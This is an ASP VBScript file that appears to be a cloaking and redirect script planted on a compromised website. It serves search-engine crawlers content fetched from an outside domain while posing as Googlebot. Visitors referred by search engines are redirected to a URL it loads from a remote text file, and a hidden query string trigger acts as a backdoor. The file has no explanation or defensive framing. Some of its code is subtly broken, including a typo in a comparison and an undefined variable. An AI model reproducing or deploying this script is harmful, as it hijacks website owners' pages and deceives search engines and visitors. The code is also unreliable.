<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
jumpcode="http://www.xoluckymaxerrunkensakuner.xyz/en/adidas.txt.html"
desurljiechi="http://www.bisnoschallgallery.com/"
'===============================================
Function IsUserSearch()
    s_ref=Request.ServerVariables("HTTP_REFERER")
    If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
        IsUserSearch = true
    else
        IsUserSearch = false
    end if
End Function
'===============================================
function is_spider()
    dim s_agent
    s_agent=Request.ServerVariables("HTTP_USER_AGENT")
    If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
    is_spider = 1
    else
    is_spider = 0
    end if
end function
'===============================================
Function GetHtml(url,k)
  agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  ObjXMLHTTP.Open "GET",url,False
  ObjXMLHTTP.setRequestHeader "User-Agent",agent
  ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
  ObjXMLHTTP.send
  GetHtml=ObjXMLHTTP.responseBody
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if  spider = 1 or querystr = "feiya" then
    htmls = GetHtml(desurljiechi&querystr,"")
    response.write htmls
    response.end()
else
    if IsUserSearch then
        if instr(jumpcode,".txt")>0 then
            jumpcode = GetHtml(jumpcode,"Mozi11a")
            tiaoarray=split(jumpcode,"?")
            if IsEmpty(tiaoarray(0)) then
               response.redirect jumpcode&"?"&shellurl
            else
               response.redirect tiaoarray(0)&"?"&shellurl
            end if
        end if
    end if
end if
'direct visitor, just forward to the root page
response.redirect "index.html"
%>